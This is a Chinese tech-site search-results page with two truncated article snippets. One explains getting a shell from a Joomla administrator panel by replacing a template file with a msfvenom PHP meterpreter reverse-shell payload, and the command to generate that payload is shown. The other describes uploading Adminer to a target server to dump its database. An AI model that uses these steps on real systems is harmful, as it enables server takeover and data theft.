首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Joomla后台模板Getshell技巧

    文章前言 本篇文章我们主要介绍在获取到Joomla后台管理权限的情况下如何通过后台来实现Getshell的两种利用方式 GetShell Metasploit 首先我们使用site_admin/123456...msfvenom来生成要给php后门文件 #PHP后门文件 msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT= -f raw > shell.php 然后使用我们之前在msfvenom中生成的webshell文件内容替换上面error.php文件内容 保存后访问Beez3...-2 这里我们介绍另外一种GetShell的方法,此方法和上面的方法类似,只是用的脚本不同,我们主要通过利用Kali自带的php-reverse-shell.php来实现反弹shell的目的,文件路径为.../usr/share/webshells/php/php-reverse-shell.php 随后我们直接修改模板文件的内容为上面的php-reverse-shell.php,同时修改文件中的反弹shell

    74110

    数据库在线导出工具:Adminer

    数据库在线导出工具:Adminer Adminer是一个类似PhpMyAdmin的MySQL客户端的“页面PHP”,它只有一个PHP文件,包括:数据库的普通和函数操作等功能,是一个强大的类似型webShell...工具 使用方法: GitHUB:https://www.github.com/vrana/adminer/releases 将文件下载上传到目标服务器,成功上传后可以通过URL直接访问~ 管理权限: 利用...adminer.php上传到目标服务器后,通过URL访问该页面即可获得服务器当前数据库用户登录权限~ ?...现在我们可以利用这个php文件自由的操作当前数据库登录用户的所有权限~ 现在我们就对dvwa库进行导出操作: ?...由此我们就可以将一个数据库进行导出操作了 如果你想,甚至可以利用php文件对数据库进行删库跑路的作死操作

    2.4K10
    领券